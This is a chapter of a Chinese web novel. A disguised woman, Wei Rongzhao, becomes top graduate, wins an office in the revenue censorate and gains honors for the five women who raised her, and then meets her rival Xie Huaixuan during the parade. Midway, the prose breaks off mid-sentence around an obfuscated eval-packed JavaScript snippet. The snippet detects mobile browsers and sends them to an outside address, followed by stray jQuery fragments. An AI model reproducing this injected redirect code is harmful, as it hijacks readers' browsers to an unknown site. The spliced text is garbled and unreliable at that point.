“状元——魏容昭!”
话音刚落,魏容昭脑袋霎时陷入空白。
啊?状元?她吗?
啊?她是状元?
什么!她是状元!!!她没听错吧?她不是在做梦吧……
魏容昭暗中掐了自己的大腿,感到异常清晰的痛觉。原来不是梦啊……
“状元——魏容昭!”“状元——魏容昭!”唱榜的官员连续喊了三遍。
魏容昭这才反应过来,赶紧上前走去,朝着坐在龙椅上的萧长策下跪,说道:“草民魏容昭参见陛下。”
先前殿试时,魏容昭没能看清萧长策,而如今离这位帝王更近了些,这才看清他的容貌。
d只见这位帝王约莫四十五岁的年纪,身形挺拔,下颌线条凌厉,眉眼深邃,整个人散发着帝王的威严气质,让人望之生畏。
萧长策起身,仔细打量了魏容昭过后,点了点头,甚是满意。
萧长策作为皇帝,殿试的题目是由他亲自出的。而在殿试结束后,他也亲自把所有考生的答卷都翻阅了一遍。其中,最让他印象深刻的,便是魏容昭的那张答卷。
这魏容昭字写得十分不错,笔锋间尽显风骨,且此人学识渊博,引经据典,在文中提出的观点让他感到耳目一新。不过,没想到,这魏容昭竟然长得也是一表人才,如同他的字迹一般。
虽同为一甲及第,但是萧长策却觉得,这位状元郎的水平,远超出榜眼和探花一大截。
萧长策捋了捋胡子,突然问道:“状元魏容昭,朕看了你殿试的作答,言之有物,甚合朕心意。不过,朕有问题要问你,不知咱们的状元郎是否敢作答?”
一旁的官员正要继续唱榜,把榜眼叫过来,结果听到萧长策当堂发问状元郎,却傻眼了——陛下没说过要当场考校啊……
魏容昭稍稍愣了一下——先前没有人说过,皇上会当场考校啊?这皇上怎么不按套路出牌?
不过,只是回答问题而已,魏容昭定了定心神,道:“陛下,草民愿闻其详。”
萧长策问道:“你在殿试的作答中,说‘要清查户口和田地,并画鱼鳞图册,每隔一段时间,还要和旧的档案比对’。不过,朕倒是有个疑问,本来这户口、田亩就不易查清,再者,部分地方官和豪绅有所勾结,这递到朝廷手上的数据是假的,那又应当如何分辨真假?”
魏容昭听闻,心中更加放心了。这问题可难倒不了她。
她从容笑道:“草民有三条对策,不知陛下是否愿意一听?”
不仅想出了对策,而且还是三条对策?这魏容昭倒是厉害,不容小觑。萧长策起了兴致,问道:“哦,那状元郎不妨说说看。”
魏容昭眉眼间不卑不亢,缓缓道:“第一条,草民愿称之为‘民纠法’。待新册画完之后,将新册放在乡里头张榜公示,先让百姓相互检举与纠正。毕竟谁家多了口人,谁家多了亩地,邻居之间最是清楚。若是检举属实的那户人家,那么可减少一定数量的税。
“第二条,草民愿称之为‘抽验法’。由朝廷专门派人到地方上,随机抽取几块土地去清丈。若是随即抽验的结果与上报的数据差错较多,那么,该地的官员将被严惩,并另择人选重新上报。
“第三条,草民愿称之为‘并档法’,即将诸如户籍、赋税、刑名案卷等不同册子,放在一起综合比对。若是有一户人家多年没有上缴赋税的记录,也没有刑名记载,就像凭空消失了一般,那么,这无疑是为了逃税避役而造出来的‘诡户’。这般纵观不同档案,官员和豪强便也不敢再欺瞒造假。”
魏容昭话音刚落,殿中先是陷入一片死寂,而萧长策则轻轻将指节叩在龙椅上,一旁的官员和进士们都屏住了呼吸,不敢发话。众人心中都惊叹于魏容昭所出的计策之好,正当他们好奇陛下会如何反应时,龙椅上却传来一阵爽朗的笑声:“妙哉!”
萧长策对魏容昭的回答,很是满意。他望着殿中央的那抹身影,问道:“魏容昭,若朕要你这个状元郎直接去户科任职,担任户科左给事中,你是否愿意?”
按照顺朝的官制,户科属于监察机构,负责审计户部、核查财税等监察事务。而这位魏容昭对于清查户口田亩一事上,能想出如此三条绝妙的计策,最是适合去户科任职。
啊?让她这个从未接触过政务的状元郎,直接去户科任职?魏容昭虽感到惊讶,但还是接下了圣旨,朝着皇帝磕头,道:“微臣领旨谢恩!陛下擢用之恩,微臣铭记于心,定会殚精竭虑,不负陛下重托。”
萧长策越发感到高兴,满意地看着这位状元郎,笑呵呵道:“好!朕要赏!魏容昭,你要何赏赐?”
“微臣又有一不情之请,”魏容昭叩首,声音清朗,道:“微臣斗胆,想求陛下赐一道敕命。”
萧长策闻言,却是挑眉,道:“哦?朕倒是好奇,究竟是什么敕命,竟比你的荣华富贵和前程更重要?”
只见魏容昭抬头,眼神柔和了许多,不再是方才作答的那份锐气,不疾不徐,道:“微臣斗胆,想为自己的五位阿娘们请一份诰命。”
萧长策越发好奇起来。五位阿娘?
魏容昭继续解释道:“微臣家境寒微,父亲早亡。自微臣幼时起,是微臣的母亲,以及邻居四位心善的孀妇们,五人一同含辛茹苦将微臣养大。微臣恳请陛下,为五位阿娘们——魏如花、李兰娘、王翠花、金英儿、赵宝莺赐一份诰命,让她们知晓,她们五位齐心养大的孩子,没有给她们丢人。”
萧长策闻言,爽快应下了:“好!朕这就下旨,为这五位女子赐诰命!”只是赐诰命而已,不是什么难事,而且,他促成这样一段佳话,定会在百姓之间口口相传,岂不是更加有助于彰显他明君的名声?
魏容昭喜极而泣,道:“谢陛下隆恩!”
阿娘们有了这样一道诰命在身,日后,即便她真的女子身份被揭穿,犯下欺君之罪,阿娘们也不会被她波及,能安稳度过余生。
……
大典之后,便是游街。
游街才刚开始,街两旁早已挤满了人。
而一旁茶馆酒肆的窗子,一个接着一个全都开了,窗户后是无数张男女老少们的脸,更有激动者,拼命挤到栏杆旁,朝着外头伸出手,向游街的队伍挥手大喊。
此次是有史以来第一场殿试,因此,大家都十分好奇,这状元郎究竟长什么模样。
在茶馆的一间雅间里,却十分安静。从这个雅间,能清晰看到外面游街的场景。雅间里头只有两个人,一老一少。
这案上放了张棋盘,二人正在对弈。
只见谢怀暄一袭霜色锦衫,身姿如松。他刚落下一颗棋子,便问道:“祖父,今日为何叫孙儿来此?”
谢守拙抬眼,目光浅浅掠过谢怀暄,语气平和道:“你可知,今年的状元郎是何许人也?”
“孙儿知晓,此人名为魏容昭,乃青州解元,后又连续中了会元、状元。”谢怀暄在朝中为官,自然也听到旁人讨论过这位连中三元的魏容昭。
谢守拙拿起一枚棋子,却始终没有将棋子落下,说道:“方才,我听到了消息,今日,陛下当场给这位状元郎授官。你不妨猜猜看,授的是什么官职……”
谢怀暄指尖微顿,看着眼前这张棋盘,摇头道:“孙儿不知。”今日,谢怀暄正好休沐,便没有去衙门里。
“户科左给事中。”谢守拙答道,同时将棋子放下。谢守拙虽为内阁首辅,但是年事已高。其他事情,都是交由旁人处理,只有遇上拿不准的事情,才需他亲自出面。即便如此,谢守拙的消息依旧灵通,所以尽管没亲临传胪大典,却也知晓大典的任何动
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250846|197925||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
静。
户科左给事中?谢怀暄思忖着。要知道,他自己是户科右给事中。所以,这位魏容昭不就是他的同僚嘛……
还没等谢怀暄彻底反应过来,谢守拙却徐徐说道:“这位状元郎虽出身平民,却着实不简单。我特意看了他乡试、会试、殿试的文章,此人天资不凡,有着锐气,但又不乏谋略,不容小觑……”
谢守拙没有多说什么,谢怀暄却已经明白了祖父的意思。
谢怀暄他出身谢家。谢家乃世家大族。自萧长策登基以来,一直在削减世家的势力。大部分世家没能撑住,渐渐落败了,可是谢家不一样,世代清流,好歹多年的底蕴还在,元气虽略有损伤,但是依旧屹立于朝野之中,丝毫没有倒下的趋势。
这位魏容昭出身寒微,代表着庶民寒门的势力,与谢怀暄背后的世家势力恰恰针锋相对。如今,陛下让魏容昭直接去户科任职,定然是看中了此人身上的锐气,想借着这位状元郎,削弱世家的势力,让朝中势力更加平衡。
而谢怀暄他身为谢家长孙,自然要以家族事业为重,不能让旁人做有损谢家利益之事。所以,即便日后他和魏容昭身为同僚,但是,二人也只能是对手。
谢怀暄正琢磨着祖父的意思,而此刻,御街上,魏容昭却对这座雅间里的祖孙谈话一无所知,她正骑在马背上,望着街旁的场景。
只见她一身云纹绯袍,头戴乌纱帽,帽上还簪着两朵大红宫花。她本就皮肤白皙,样貌生得好看,如今这簪花倒是显得她越发俊俏了起来。
“这便是那连中三元的魏容昭吗?”
“这状元郎长得可真是一表人才!”
“……”
姑娘们看到魏容昭这般清秀的容貌,不禁脸红害羞起来。尤其细细看过去,这魏容昭长得有几分雌雄莫辨,越发让人挪不开眼。
甚至有的大家闺秀们开始讨论起来:“先前,有人说谢家的那位谢怀暄是京城第一美男子。如今,依我来看,这可说不准呢!”“是啊,我也觉得这位状元郎长得更加好看!”
“比起那位风光霁月的谢公子,这魏容昭的容貌一点也不逊色!”
“我也觉得……”
“看来京城第一美男子的名头要变喽……”
花瓣从空中落下,形成一片花海。与花瓣一同袭来的,是姑娘们抛下来的手绢、帕子。
魏容昭朝着楼上望过去,眉眼柔和,尽是笑意。姑娘们见此情形,越发激动起来:“状元郎朝着我们这边看过来了!”“看到没!他笑了!”
随后,她的视线望向一座雅间。只见,雅间的栏杆旁,坐着一位霜色衣服的公子。魏容昭心中古怪:怎么觉得这个公子有些眼熟?
那公子像是察觉到了她的视线,微微撇过头来,望向她,然而,待看清她的容貌之后,嘴角却是一抽。那一日,衣服上溅到的那块油污,竟然在脑海里又清晰了起来,那种生理性的恶心再次在他的心中翻腾起来。
能骑在最前头的人,也只有那位状元郎——魏容昭。
原来,当日的那人,就是他啊!魏——容——昭!
而魏容昭看清那公子的容貌,却慌了神:怎么是他?
不知为何,先前做的那个噩梦,再次在她的脑海里浮现——永远也洗不干净的那块污渍、那一大桶吃也吃不完的牛丸……
她心中一阵莫名的恶寒袭来,身体一抖,险些在马背上坐不稳。
雅间里,谢守拙则出声问道:“怀暄,是有什么事吗?”
谢怀暄强压住心中的不适,勉强笑道:“孙儿无事。”
而楼下这边,魏容昭见谢怀暄已经别过头去,不再往这边看,遂放了心。
游街的队伍继续往前行进着。
呼,魏容昭松了口气——以后,应该再也不会碰到他了吧?